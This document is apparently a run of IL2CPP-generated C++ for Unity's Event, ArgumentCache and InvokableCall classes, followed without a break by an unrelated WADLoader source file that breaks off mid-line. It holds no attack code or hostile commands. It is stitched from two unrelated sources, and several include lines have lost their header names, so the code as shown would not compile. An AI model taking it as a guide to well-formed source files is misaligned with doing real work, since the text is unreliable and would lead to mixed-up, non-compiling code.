* __this, const MethodInfo* method) { typedef Il2CppChar (*Event_get_character_m3740896233_ftn) (Event_t3028476042 *); static Event_get_character_m3740896233_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_character_m3740896233_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_character()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Event::set_character(System.Char) extern "C" void Event_set_character_m2479063678 (Event_t3028476042 * __this, Il2CppChar ___value0, const MethodInfo* method) { typedef void (*Event_set_character_m2479063678_ftn) (Event_t3028476042 *, Il2CppChar); static Event_set_character_m2479063678_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_set_character_m2479063678_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::set_character(System.Char)"); _il2cpp_icall_func(__this, ___value0); } // System.String UnityEngine.Event::get_commandName() extern "C" String_t* Event_get_commandName_m4234691381 (Event_t3028476042 * __this, const MethodInfo* method) { typedef String_t* (*Event_get_commandName_m4234691381_ftn) (Event_t3028476042 *); static Event_get_commandName_m4234691381_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_commandName_m4234691381_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_commandName()"); return _il2cpp_icall_func(__this); } // UnityEngine.KeyCode UnityEngine.Event::get_keyCode() extern "C" int32_t Event_get_keyCode_m3364681288 (Event_t3028476042 * __this, const MethodInfo* method) { typedef int32_t (*Event_get_keyCode_m3364681288_ftn) (Event_t3028476042 *); static Event_get_keyCode_m3364681288_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_get_keyCode_m3364681288_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::get_keyCode()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Event::set_keyCode(UnityEngine.KeyCode) extern "C" void Event_set_keyCode_m1893308983 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Event_set_keyCode_m1893308983_ftn) (Event_t3028476042 *, int32_t); static Event_set_keyCode_m1893308983_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_set_keyCode_m1893308983_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::set_keyCode(UnityEngine.KeyCode)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.Event::Internal_SetNativeEvent(System.IntPtr) extern "C" void Event_Internal_SetNativeEvent_m1899228752 (Il2CppObject * __this /* static, unused */, IntPtr_t ___ptr0, const MethodInfo* method) { typedef void (*Event_Internal_SetNativeEvent_m1899228752_ftn) (IntPtr_t); static Event_Internal_SetNativeEvent_m1899228752_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_Internal_SetNativeEvent_m1899228752_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::Internal_SetNativeEvent(System.IntPtr)"); _il2cpp_icall_func(___ptr0); } // System.Void UnityEngine.Event::set_displayIndex(System.Int32) extern "C" void Event_set_displayIndex_m3631666901 (Event_t3028476042 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Event_set_displayIndex_m3631666901_ftn) (Event_t3028476042 *, int32_t); static Event_set_displayIndex_m3631666901_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_set_displayIndex_m3631666901_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::set_displayIndex(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.Event::Internal_Use() extern "C" void Event_Internal_Use_m1591831288 (Event_t3028476042 * __this, const MethodInfo* method) { typedef void (*Event_Internal_Use_m1591831288_ftn) (Event_t3028476042 *); static Event_Internal_Use_m1591831288_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_Internal_Use_m1591831288_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::Internal_Use()"); _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.Event::PopEvent(UnityEngine.Event) extern "C" bool Event_PopEvent_m1952528237 (Il2CppObject * __this /* static, unused */, Event_t3028476042 * ___outEvent0, const MethodInfo* method) { typedef bool (*Event_PopEvent_m1952528237_ftn) (Event_t3028476042 *); static Event_PopEvent_m1952528237_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Event_PopEvent_m1952528237_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Event::PopEvent(UnityEngine.Event)"); return _il2cpp_icall_func(___outEvent0); } // System.Void UnityEngine.Events.ArgumentCache::.ctor() extern "C" void ArgumentCache__ctor_m484215967 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Object UnityEngine.Events.ArgumentCache::get_unityObjectArgument() extern "C" Object_t1021602117 * ArgumentCache_get_unityObjectArgument_m4277835372 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { Object_t1021602117 * V_0 = NULL; { Object_t1021602117 * L_0 = __this->get_m_ObjectArgument_0(); V_0 = L_0; goto IL_000d; } IL_000d: { Object_t1021602117 * L_1 = V_0; return L_1; } } // System.String UnityEngine.Events.ArgumentCache::get_unityObjectArgumentAssemblyTypeName() extern "C" String_t* ArgumentCache_get_unityObjectArgumentAssemblyTypeName_m1563669919 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Int32 UnityEngine.Events.ArgumentCache::get_intArgument() extern "C" int32_t ArgumentCache_get_intArgument_m74719732 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_IntArgument_2(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } // System.Single UnityEngine.Events.ArgumentCache::get_floatArgument() extern "C" float ArgumentCache_get_floatArgument_m1351089439 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_FloatArgument_3(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } // System.String UnityEngine.Events.ArgumentCache::get_stringArgument() extern "C" String_t* ArgumentCache_get_stringArgument_m3051619173 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_StringArgument_4(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.Events.ArgumentCache::get_boolArgument() extern "C" bool ArgumentCache_get_boolArgument_m602177467 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { bool V_0 = false; { bool L_0 = __this->get_m_BoolArgument_5(); V_0 = L_0; goto IL_000d; } IL_000d: { bool L_1 = V_0; return L_1; } } // System.Void UnityEngine.Events.ArgumentCache::TidyAssemblyTypeName() extern "C" void ArgumentCache_TidyAssemblyTypeName_m1302102306 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (ArgumentCache_TidyAssemblyTypeName_m1302102306_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; int32_t V_1 = 0; { String_t* L_0 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); bool L_1 = String_IsNullOrEmpty_m2802126737(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_0016; } } { goto IL_009f; } IL_0016: { V_0 = ((int32_t)2147483647LL); String_t* L_2 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); NullCheck(L_2); int32_t L_3 = String_IndexOf_m4251815737(L_2, _stringLiteral3774245231, /*hidden argument*/NULL); V_1 = L_3; int32_t L_4 = V_1; if ((((int32_t)L_4) == ((int32_t)(-1)))) { goto IL_003c; } } { int32_t L_5 = V_1; int32_t L_6 = V_0; int32_t L_7 = Math_Min_m4290821911(NULL /*static, unused*/, L_5, L_6, /*hidden argument*/NULL); V_0 = L_7; } IL_003c: { String_t* L_8 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); NullCheck(L_8); int32_t L_9 = String_IndexOf_m4251815737(L_8, _stringLiteral1256080173, /*hidden argument*/NULL); V_1 = L_9; int32_t L_10 = V_1; if ((((int32_t)L_10) == ((int32_t)(-1)))) { goto IL_005c; } } { int32_t L_11 = V_1; int32_t L_12 = V_0; int32_t L_13 = Math_Min_m4290821911(NULL /*static, unused*/, L_11, L_12, /*hidden argument*/NULL); V_0 = L_13; } IL_005c: { String_t* L_14 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); NullCheck(L_14); int32_t L_15 = String_IndexOf_m4251815737(L_14, _stringLiteral1653664622, /*hidden argument*/NULL); V_1 = L_15; int32_t L_16 = V_1; if ((((int32_t)L_16) == ((int32_t)(-1)))) { goto IL_007c; } } { int32_t L_17 = V_1; int32_t L_18 = V_0; int32_t L_19 = Math_Min_m4290821911(NULL /*static, unused*/, L_17, L_18, /*hidden argument*/NULL); V_0 = L_19; } IL_007c: { int32_t L_20 = V_0; if ((!(((uint32_t)L_20) == ((uint32_t)((int32_t)2147483647LL))))) { goto IL_008c; } } { goto IL_009f; } IL_008c: { String_t* L_21 = __this->get_m_ObjectArgumentAssemblyTypeName_1(); int32_t L_22 = V_0; NullCheck(L_21); String_t* L_23 = String_Substring_m12482732(L_21, 0, L_22, /*hidden argument*/NULL); __this->set_m_ObjectArgumentAssemblyTypeName_1(L_23); } IL_009f: { return; } } // System.Void UnityEngine.Events.ArgumentCache::OnBeforeSerialize() extern "C" void ArgumentCache_OnBeforeSerialize_m2819142469 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { { ArgumentCache_TidyAssemblyTypeName_m1302102306(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.ArgumentCache::OnAfterDeserialize() extern "C" void ArgumentCache_OnAfterDeserialize_m3936525937 (ArgumentCache_t4810721 * __this, const MethodInfo* method) { { ArgumentCache_TidyAssemblyTypeName_m1302102306(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.BaseInvokableCall::.ctor() extern "C" void BaseInvokableCall__ctor_m1107507914 (BaseInvokableCall_t2229564840 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.BaseInvokableCall::.ctor(System.Object,System.Reflection.MethodInfo) extern "C" void BaseInvokableCall__ctor_m2877580597 (BaseInvokableCall_t2229564840 * __this, Il2CppObject * ___target0, MethodInfo_t * ___function1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (BaseInvokableCall__ctor_m2877580597_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); Il2CppObject * L_0 = ___target0; if (L_0) { goto IL_0018; } } { ArgumentNullException_t628810857 * L_1 = (ArgumentNullException_t628810857 *)il2cpp_codegen_object_new(ArgumentNullException_t628810857_il2cpp_TypeInfo_var); ArgumentNullException__ctor_m3380712306(L_1, _stringLiteral1081251833, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_1); } IL_0018: { MethodInfo_t * L_2 = ___function1; if (L_2) { goto IL_0029; } } { ArgumentNullException_t628810857 * L_3 = (ArgumentNullException_t628810857 *)il2cpp_codegen_object_new(ArgumentNullException_t628810857_il2cpp_TypeInfo_var); ArgumentNullException__ctor_m3380712306(L_3, _stringLiteral878805882, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_3); } IL_0029: { return; } } // System.Boolean UnityEngine.Events.BaseInvokableCall::AllowInvoke(System.Delegate) extern "C" bool BaseInvokableCall_AllowInvoke_m88556325 (Il2CppObject * __this /* static, unused */, Delegate_t3022476291 * ___delegate0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (BaseInvokableCall_AllowInvoke_m88556325_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; bool V_1 = false; Object_t1021602117 * V_2 = NULL; { Delegate_t3022476291 * L_0 = ___delegate0; NullCheck(L_0); Il2CppObject * L_1 = Delegate_get_Target_m896795953(L_0, /*hidden argument*/NULL); V_0 = L_1; Il2CppObject * L_2 = V_0; if (L_2) { goto IL_0015; } } { V_1 = (bool)1; goto IL_003c; } IL_0015: { Il2CppObject * L_3 = V_0; V_2 = ((Object_t1021602117 *)IsInstClass(L_3, Object_t1021602117_il2cpp_TypeInfo_var)); Object_t1021602117 * L_4 = V_2; bool L_5 = Object_ReferenceEquals_m3900584722(NULL /*static, unused*/, L_4, NULL, /*hidden argument*/NULL); if (L_5) { goto IL_0035; } } { Object_t1021602117 * L_6 = V_2; IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_7 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_6, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); V_1 = L_7; goto IL_003c; } IL_0035: { V_1 = (bool)1; goto IL_003c; } IL_003c: { bool L_8 = V_1; return L_8; } } // System.Void UnityEngine.Events.InvokableCall::.ctor(System.Object,System.Reflection.MethodInfo) extern "C" void InvokableCall__ctor_m1854031676 (InvokableCall_t2183506063 * __this, Il2CppObject * ___target0, MethodInfo_t * ___theFunction1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCall__ctor_m1854031676_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Il2CppObject * L_0 = ___target0; MethodInfo_t * L_1 = ___theFunction1; BaseInvokableCall__ctor_m2877580597(__this, L_0, L_1, /*hidden argument*/NULL); MethodInfo_t * L_2 = ___theFunction1; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_3 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(UnityAction_t4025899511_0_0_0_var), /*hidden argument*/NULL); Il2CppObject * L_4 = ___target0; Delegate_t3022476291 * L_5 = NetFxCoreExtensions_CreateDelegate_m2492743074(NULL /*static, unused*/, L_2, L_3, L_4, /*hidden argument*/NULL); InvokableCall_add_Delegate_m1598143083(__this, ((UnityAction_t4025899511 *)CastclassSealed(L_5, UnityAction_t4025899511_il2cpp_TypeInfo_var)), /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.InvokableCall::.ctor(UnityEngine.Events.UnityAction) extern "C" void InvokableCall__ctor_m738302370 (InvokableCall_t2183506063 * __this, UnityAction_t4025899511 * ___action0, const MethodInfo* method) { { BaseInvokableCall__ctor_m1107507914(__this, /*hidden argument*/NULL); UnityAction_t4025899511 * L_0 = ___action0; InvokableCall_add_Delegate_m1598143083(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.InvokableCall::add_Delegate(UnityEngine.Events.UnityAction) extern "C" void InvokableCall_add_Delegate_m1598143083 (InvokableCall_t2183506063 * __this, UnityAction_t4025899511 * ___value0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCall_add_Delegate_m1598143083_MetadataUsageId); s_Il2CppMethodInitialized = true; } UnityAction_t4025899511 * V_0 = NULL; UnityAction_t4025899511 * V_1 = NULL; { UnityAction_t4025899511 * L_0 = __this->get_Delegate_0(); V_0 = L_0; } IL_0007: { UnityAction_t4025899511 * L_1 = V_0; V_1 = L_1; UnityAction_t4025899511 ** L_2 = __this->get_address_of_Delegate_0(); UnityAction_t4025899511 * L_3 = V_1; UnityAction_t4025899511 * L_4 = ___value0; Delegate_t3022476291 * L_5 = Delegate_Combine_m3791207084(NULL /*static, unused*/, L_3, L_4, /*hidden argument*/NULL); UnityAction_t4025899511 * L_6 = V_0; UnityAction_t4025899511 * L_7 = InterlockedCompareExchangeImpl(L_2, ((UnityAction_t4025899511 *)CastclassSealed(L_5, UnityAction_t4025899511_il2cpp_TypeInfo_var)), L_6); V_0 = L_7; UnityAction_t4025899511 * L_8 = V_0; UnityAction_t4025899511 * L_9 = V_1; if ((!(((Il2CppObject*)(UnityAction_t4025899511 *)L_8) == ((Il2CppObject*)(UnityAction_t4025899511 *)L_9)))) { goto IL_0007; } } { return; } } // System.Void UnityEngine.Events.InvokableCall::remove_Delegate(UnityEngine.Events.UnityAction) extern "C" void InvokableCall_remove_Delegate_m3290603664 (InvokableCall_t2183506063 * __this, UnityAction_t4025899511 * ___value0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCall_remove_Delegate_m3290603664_MetadataUsageId); s_Il2CppMethodInitialized = true; } UnityAction_t4025899511 * V_0 = NULL; UnityAction_t4025899511 * V_1 = NULL; { UnityAction_t4025899511 * L_0 = __this->get_Delegate_0(); V_0 = L_0; } IL_0007: { UnityAction_t4025899511 * L_1 = V_0; V_1 = L_1; UnityAction_t4025899511 ** L_2 = __this->get_address_of_Delegate_0(); UnityAction_t4025899511 * L_3 = V_1; UnityAction_t4025899511 * L_4 = ___value0; Delegate_t3022476291 * L_5 = Delegate_Remove_m2626518725(NULL /*static, unused*/, L_3, L_4, /*hidden argument*/NULL); UnityAction_t4025899511 * L_6 = V_0; UnityAction_t4025899511 * L_7 = InterlockedCompareExchangeImpl(L_2, ((UnityAction_t4025899511 *)CastclassSealed(L_5, UnityAction_t4025899511_il2cpp_TypeInfo_var)), L_6); V_0 = L_7; UnityAction_t4025899511 * L_8 = V_0; UnityAction_t4025899511 * L_9 = V_1; if ((!(((Il2CppObject*)(UnityAction_t4025899511 *)L_8) == ((Il2CppObject*)(UnityAction_t4025899511 *)L_9)))) { goto IL_0007; } } { return; } } // System.Void UnityEngine.Events.InvokableCall::Invoke(System.Object[]) extern "C" void InvokableCall_Invoke_m250936937 (InvokableCall_t2183506063 * __this, ObjectU5BU5D_t3614634134* ___args0, const MethodInfo* method) { { UnityAction_t4025899511 * L_0 = __this->get_Delegate_0(); bool L_1 = BaseInvokableCall_AllowInvoke_m88556325(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_001c; } } { UnityAction_t4025899511 * L_2 = __this->get_Delegate_0(); NullCheck(L_2); UnityAction_Invoke_m3703026869(L_2, /*hidden argument*/NULL); } IL_001c: { return; } } // System.Boolean UnityEngine.Events.InvokableCall::Find(System.Object,System.Reflection.MethodInfo) extern "C" bool InvokableCall_Find_m932898921 (InvokableCall_t2183506063 * __this, Il2CppObject * ___targetObj0, MethodInfo_t * ___method1, const MethodInfo* method) { bool V_0 = false; int32_t G_B3_0 = 0; { UnityAction_t4025899511 * L_0 = __this->get_Delegate_0(); NullCheck(L_0); Il2CppObject * L_1 = Delegate_get_Target_m896795953(L_0, /*hidden argument*/NULL); Il2CppObject * L_2 = ___targetObj0; if ((!(((Il2CppObject*)(Il2CppObject *)L_1) == ((Il2CppObject*)(Il2CppObject *)L_2)))) { goto IL_0025; } } { UnityAction_t4025899511 * L_3 = __this->get_Delegate_0(); MethodInfo_t * L_4 = NetFxCoreExtensions_GetMethodInfo_m2715372889(NULL /*static, unused*/, L_3, /*hidden argument*/NULL); MethodInfo_t * L_5 = ___method1; NullCheck(L_4); bool L_6 = VirtFuncInvoker1< bool, Il2CppObject * >::Invoke(0 /* System.Boolean System.Object::Equals(System.Object) */, L_4, L_5); G_B3_0 = ((int32_t)(L_6)); goto IL_0026; } IL_0025: { G_B3_0 = 0; } IL_0026: { V_0 = (bool)G_B3_0; goto IL_002c; } IL_002c: { bool L_7 = V_0; return L_7; } } // System.Void UnityEngine.Events.InvokableCallList::.ctor() extern "C" void InvokableCallList__ctor_m1209277579 (InvokableCallList_t2295673753 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList__ctor_m1209277579_MetadataUsageId); s_Il2CppMethodInitialized = true; } { List_1_t1598685972 * L_0 = (List_1_t1598685972 *)il2cpp_codegen_object_new(List_1_t1598685972_il2cpp_TypeInfo_var); List_1__ctor_m735894212(L_0, /*hidden argument*/List_1__ctor_m735894212_MethodInfo_var); __this->set_m_PersistentCalls_0(L_0); List_1_t1598685972 * L_1 = (List_1_t1598685972 *)il2cpp_codegen_object_new(List_1_t1598685972_il2cpp_TypeInfo_var); List_1__ctor_m735894212(L_1, /*hidden argument*/List_1__ctor_m735894212_MethodInfo_var); __this->set_m_RuntimeCalls_1(L_1); List_1_t1598685972 * L_2 = (List_1_t1598685972 *)il2cpp_codegen_object_new(List_1_t1598685972_il2cpp_TypeInfo_var); List_1__ctor_m735894212(L_2, /*hidden argument*/List_1__ctor_m735894212_MethodInfo_var); __this->set_m_ExecutingCalls_2(L_2); __this->set_m_NeedsUpdate_3((bool)1); Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Events.InvokableCallList::AddPersistentInvokableCall(UnityEngine.Events.BaseInvokableCall) extern "C" void InvokableCallList_AddPersistentInvokableCall_m1312060710 (InvokableCallList_t2295673753 * __this, BaseInvokableCall_t2229564840 * ___call0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList_AddPersistentInvokableCall_m1312060710_MetadataUsageId); s_Il2CppMethodInitialized = true; } { List_1_t1598685972 * L_0 = __this->get_m_PersistentCalls_0(); BaseInvokableCall_t2229564840 * L_1 = ___call0; NullCheck(L_0); List_1_Add_m3015244976(L_0, L_1, /*hidden argument*/List_1_Add_m3015244976_MethodInfo_var); __this->set_m_NeedsUpdate_3((bool)1); return; } } // System.Void UnityEngine.Events.InvokableCallList::AddListener(UnityEngine.Events.BaseInvokableCall) extern "C" void InvokableCallList_AddListener_m786891050 (InvokableCallList_t2295673753 * __this, BaseInvokableCall_t2229564840 * ___call0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList_AddListener_m786891050_MetadataUsageId); s_Il2CppMethodInitialized = true; } { List_1_t1598685972 * L_0 = __this->get_m_RuntimeCalls_1(); BaseInvokableCall_t2229564840 * L_1 = ___call0; NullCheck(L_0); List_1_Add_m3015244976(L_0, L_1, /*hidden argument*/List_1_Add_m3015244976_MethodInfo_var); __this->set_m_NeedsUpdate_3((bool)1); return; } } // System.Void UnityEngine.Events.InvokableCallList::RemoveListener(System.Object,System.Reflection.MethodInfo) extern "C" void InvokableCallList_RemoveListener_m3776101648 (InvokableCallList_t2295673753 * __this, Il2CppObject * ___targetObj0, MethodInfo_t * ___method1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList_RemoveListener_m3776101648_MetadataUsageId); s_Il2CppMethodInitialized = true; } List_1_t1598685972 * V_0 = NULL; int32_t V_1 = 0; { List_1_t1598685972 * L_0 = (List_1_t1598685972 *)il2cpp_codegen_object_new(List_1_t1598685972_il2cpp_TypeInfo_var); List_1__ctor_m735894212(L_0, /*hidden argument*/List_1__ctor_m735894212_MethodInfo_var); V_0 = L_0; V_1 = 0; goto IL_003e; } IL_000e: { List_1_t1598685972 * L_1 = __this->get_m_RuntimeCalls_1(); int32_t L_2 = V_1; NullCheck(L_1); BaseInvokableCall_t2229564840 * L_3 = List_1_get_Item_m1328165365(L_1, L_2, /*hidden argument*/List_1_get_Item_m1328165365_MethodInfo_var); Il2CppObject * L_4 = ___targetObj0; MethodInfo_t * L_5 = ___method1; NullCheck(L_3); bool L_6 = VirtFuncInvoker2< bool, Il2CppObject *, MethodInfo_t * >::Invoke(5 /* System.Boolean UnityEngine.Events.BaseInvokableCall::Find(System.Object,System.Reflection.MethodInfo) */, L_3, L_4, L_5); if (!L_6) { goto IL_0039; } } { List_1_t1598685972 * L_7 = V_0; List_1_t1598685972 * L_8 = __this->get_m_RuntimeCalls_1(); int32_t L_9 = V_1; NullCheck(L_8); BaseInvokableCall_t2229564840 * L_10 = List_1_get_Item_m1328165365(L_8, L_9, /*hidden argument*/List_1_get_Item_m1328165365_MethodInfo_var); NullCheck(L_7); List_1_Add_m3015244976(L_7, L_10, /*hidden argument*/List_1_Add_m3015244976_MethodInfo_var); } IL_0039: { int32_t L_11 = V_1; V_1 = ((int32_t)((int32_t)L_11+(int32_t)1)); } IL_003e: { int32_t L_12 = V_1; List_1_t1598685972 * L_13 = __this->get_m_RuntimeCalls_1(); NullCheck(L_13); int32_t L_14 = List_1_get_Count_m2851893812(L_13, /*hidden argument*/List_1_get_Count_m2851893812_MethodInfo_var); if ((((int32_t)L_12) < ((int32_t)L_14))) { goto IL_000e; } } { List_1_t1598685972 * L_15 = __this->get_m_RuntimeCalls_1(); List_1_t1598685972 * L_16 = V_0; IntPtr_t L_17; L_17.set_m_value_0((void*)(void*)List_1_Contains_m4101498324_MethodInfo_var); Predicate_1_t672534955 * L_18 = (Predicate_1_t672534955 *)il2cpp_codegen_object_new(Predicate_1_t672534955_il2cpp_TypeInfo_var); Predicate_1__ctor_m2431180149(L_18, L_16, L_17, /*hidden argument*/Predicate_1__ctor_m2431180149_MethodInfo_var); NullCheck(L_15); List_1_RemoveAll_m3244229183(L_15, L_18, /*hidden argument*/List_1_RemoveAll_m3244229183_MethodInfo_var); __this->set_m_NeedsUpdate_3((bool)1); return; } } // System.Void UnityEngine.Events.InvokableCallList::ClearPersistent() extern "C" void InvokableCallList_ClearPersistent_m3606847843 (InvokableCallList_t2295673753 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList_ClearPersistent_m3606847843_MetadataUsageId); s_Il2CppMethodInitialized = true; } { List_1_t1598685972 * L_0 = __this->get_m_PersistentCalls_0(); NullCheck(L_0); List_1_Clear_m649507351(L_0, /*hidden argument*/List_1_Clear_m649507351_MethodInfo_var); __this->set_m_NeedsUpdate_3((bool)1); return; } } // System.Void UnityEngine.Events.InvokableCallList::Invoke(System.Object[]) extern "C" void InvokableCallList_Invoke_m1839244635 (InvokableCallList_t2295673753 * __this, ObjectU5BU5D_t3614634134* ___parameters0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (InvokableCallList_Invoke_m1839244635_MetadataUsageId); s_Il2CppMethodInitialized = true; } int32_t V_0 = 0; { bool L_0 = __this->get_m_NeedsUpdate_3(); if (!L_0) { goto IL_0042; } } { List_1_t1598685972 * L_1 = __this->get_m_ExecutingCalls_2(); NullCheck(L_1); List_1_Clear_m649507351(L_1, /*hidden argument*/List_1_Clear_m649507351_MethodInfo_var); List_1_t1598685972 * L_2 = __this->get_m_ExecutingCalls_2(); List_1_t1598685972 * L_3 = __this->get_m_PersistentCalls_0(); NullCheck(L_2); List_1_AddRange_m1709189726(L_2, L_3, /*hidden argument*/List_1_AddRange_m1709189726_MethodInfo_var); List_1_t1598685972 * L_4 = __this->get_m_ExecutingCalls_2(); List_1_t1598685972 * L_5 = __this->get_m_RuntimeCalls_1(); NullCheck(L_4); List_1_AddRange_m1709189726(L_4, L_5, /*hidden argument*/List_1_AddRange_m1709189726_MethodInfo_var); __this->set_m_NeedsUpdate_3((bool)0); } IL_0042: { V_0 = 0; goto IL_005f; } IL_0049: { List_1_t1598685972 * L_6 = __this->get_m_ExecutingCalls_2(); int32_t L_7 = V_0; NullCheck(L_6); BaseInvokableCall_t2229564840 * L_8 = List_1_get_Item_m1328165365(L_6, L_7, /*hidden argument*/List_1_get_Item_m1328165365_MethodInfo_var); ObjectU5BU5D_t3614634134* L_9 = ___parameters0; NullCheck(L_8); VirtActionInvoker1< ObjectU5BU5D_t3614634134* >::Invoke(4 /* System.Void UnityEngine.Events.BaseInvokableCall::Invoke(System.Object[]) */, L_8, L_9); int32_t L_10 = V_0; V_0 = ((int32_t)((int32_t)L_10+(int32_t)1)); } IL_005f: { int32_t L_11 = V_0; List_1_t1598685972 * L_12 = __this->get_m_ExecutingCalls_2(); NullCheck(L_12); int32_t L_13 = List_1_get_Count_m2851893812(L_12, /*hidden argument*/List_1_get_Count_m2851893812_MethodInfo_var); if ((((int32_t)L_11) < ((int32_t)L_13))) { goto IL_0049; } } { return; } } #ifdef __clang__ #pragma clang diagnostic pop #endif #include "WADLoader.h" #include "AssetsManager.h" #include using namespace std; WADLoader::WADLoader() : m_pWADData(nullptr) { } WADLoader::~WADLoader() { delete[] m_pWADData; } void WADLoader::SetWADFilePath(const string &sWADFilePath) { m_sWADFilePath = sWADFilePath; } bool WADLoader::LoadWADToMemory() { if (!OpenAndLoad()) { return false; } if (!ReadDirectories()) { return false; } return true; } bool WADLoader::OpenAndLoad() { std::cout << "Info: Loading WAD file: " << m_sWADFilePath << endl; m_WADFile.open(m_sWADFilePath, ifstream::binary); if (!m_WADFile.is_open()) { cout << "Error: Failed to open WAD file" << m_sWADFilePath << endl; return false; } m_WADFile.seekg(0, m_WADFile.end); size_t length = m_WADFile.tellg(); if (m_pWADData) { delete[] m_pWADData; } m_pWADData = new uint8_t[length]; if (m_pWADData == nullptr) { cout << "Error: Failed alocate memory for 